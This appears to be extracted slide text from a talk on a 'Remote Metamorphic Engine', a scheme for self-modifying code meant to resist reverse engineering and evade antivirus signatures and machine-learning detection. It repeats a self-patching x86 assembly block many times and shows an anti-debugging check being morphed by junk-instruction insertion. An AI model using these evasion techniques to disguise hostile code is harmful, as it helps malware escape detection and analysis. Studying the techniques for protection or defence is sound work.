mov ecx, 0x00000057 mov dword [eax+1], ecx ret The Remote Metamorphic Engine ‣ Security as undefined expression ‣ Flux binary mutation ‣ Resisting Reverse Engineering ‣ Evading AI machine learning ‣ Artificial Immunity line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Security Patterns {Division by Zero | Division by Infinity } Isolation Randomization line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Security as Undefined & indeterminate expression The Undefined Expression 1 0 Undefined ∞ -∞ = = RE Time ∞ 0 The Remote Metamorphic Engine line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret The Unbreakable Code Unpredictable un·pre·dict·a·ble adjective:/ˌənprəˈdiktəb(ə)l/ Likely to change suddenly and without reason and therefore not able to be predicted (= expected before it happens) line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret The Fixed Static Code Problem Static Code Dynamic Data Core security weakness in all today’s software Enables all sorts of replicable software security exploits The Breakable Code line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Unpredictable Code Evolution Dynamic Code Dynamic Data Code evolution across time Functionality evolution across location Self contained autonomous code Unpredictable Self aware line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Code Evolution Resisting Reverse Engineering Locate the Code Analyze the Code Break the Code not locatable Sho! Lifetime Unbreakable Remote Execution Flux Mutation Self aware line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret The Remote Metamorphic Engine Remote Flux Mutation Morphed Code Execution Thread/Process Mutation Engine Remote Mutation Tru"ed Zone Untru"ed Zone Challenge Response line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Why Remote? line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Morphed Code Execution Thread/Process Mutation Engine Remote Mutation Tru"ed Zone Untru"ed Zone 4 bytes size Code Clock Synced Challenge Response Communication protocol made of morphed clock synchronized machine code rather than data The Remote Metamorphic Engine Challenge Response Metamorphic Protocol line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Why Metamorphic? line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret The Remote Metamorphic Engine Remote Code Slicing The Reverse Engineer Side The Engine Side Known to the reverse engineer Unknown to the reverse engineer line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Demo 1 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Mutation Engines AV Signature Evasion Polymorphic Engines Metamorphic Engines morphed body encryption body polymorphic line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Signature Evasion Morphing Techniques Evading Signature Instruction reordering Subroutine permutation Subroutine Inlining Expansion Subroutine Outlining Code Permutation Instruction Substitution Transposition Dead Code Insertion Changing Control Flow Can not resist reverse engineering line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Remote Code Evolution Flux Mutation Goals Ensure Trusted Remote Execution Evade Signature Extend Trust Evade AI Machine Learning Detect & Evade RE Detect Tampering Attempts line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Trusted Mutation Trusted Challenge Response Mutation Morphing Engine Remote Mutation Challenge Mutated Function Morphed Function Morphed Function Head Tail Unused Code Return value Response Mutation line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Structure Obfuscation All functions look the same before and during execution line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Structure Obfuscation Self modifying basic block Edges line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Demo 2 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret RE Evasion Morphing Techniques Metamorphic + Polymorphic Self modifying mutation Code structure obfuscation Clock synchronized execution Challenge-Response Mutation Functionality Mutation Decoupled Reversible Mutation Slices Permutation Code size magnification line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret _start: push 0 pushad mov reg1, [fs:dword 0x30] movzx reg2, byte [reg1+2] mov dword [esp+32], reg2 popad pop eax ret end: Remote Code Evolution Morphing Techniques line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret _start: xor reg1, reg1 push reg1 pushad mov reg1, [fs:dword 0x30] movzx reg2, byte [reg1+2] mov dword [esp+32], reg2 popad pop eax ret end: push 0{ Remote Code Evolution Morphing Techniques line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret _start: xor reg1, reg1 push reg1 pushad sub reg1, reg1 mov reg1, [fs:dword 0x30] movzx reg2, byte [reg1+2] mov dword [esp+32], reg2 popad pop eax ret end: push 0{ Insertion Remote Code Evolution Morphing Techniques line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret _start: xor reg1, reg1 push reg1 pushad sub reg1, reg1 mov reg1, [fs:dword 0x30] add reg2, reg2 movzx reg2, byte [reg1+2] mov dword [esp+32], reg2 popad pop eax ret end: push 0{ Insertion Insertion Remote Code Evolution Morphing Techniques line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret _start: xor reg1, reg1 push reg1 pushad sub reg1, reg1 mov reg1, [fs:dword 0x30] add reg2, reg2 movzx reg2, byte [reg1+2] mov reg3, reg4 mov dword [esp+32], reg2 popad pop eax ret end: push 0{ Insertion Insertion Insertion Remote Code Evolution Morphing Techniques line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Remote Code Evolution _start: xor reg1, reg1 push reg1 pushad sub reg1, reg1 mov reg1, [fs:dword 0x30] add reg2, reg2 movzx reg2, byte [reg1+2] mov reg3, reg4 mov dword [esp+32], reg2 popad pop eax ret end: push 0{ Insertion Insertion Insertion n*nop Morphing Techniques line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Remote Code Evolution _start: xor reg1, reg1 push reg1 pushad sub reg1, reg1 mov reg1, [fs:dword 0x30] add reg2, reg2 movzx reg2, byte [reg1+2] mov reg3, reg4 mov dword [esp+32], reg2 popad pop eax ret end: push 0{ Insertion Insertion Insertion n*nop Morphing Techniques add esp,36 push reg2 sub esp,32 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret _start: xor reg1, reg1 push reg1 pushad sub reg1, reg1 mov reg1, [fs:dword 0x30] add reg2, reg2 movzx reg2, byte [reg1+2] mov reg3, reg4 mov dword [esp+32], reg2 popad nop pop eax nop ret end: Remote Code Evolution First Morphing Stage line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Second Morphing Stage Remote Code Evolution line1: xor edi, edi jmp 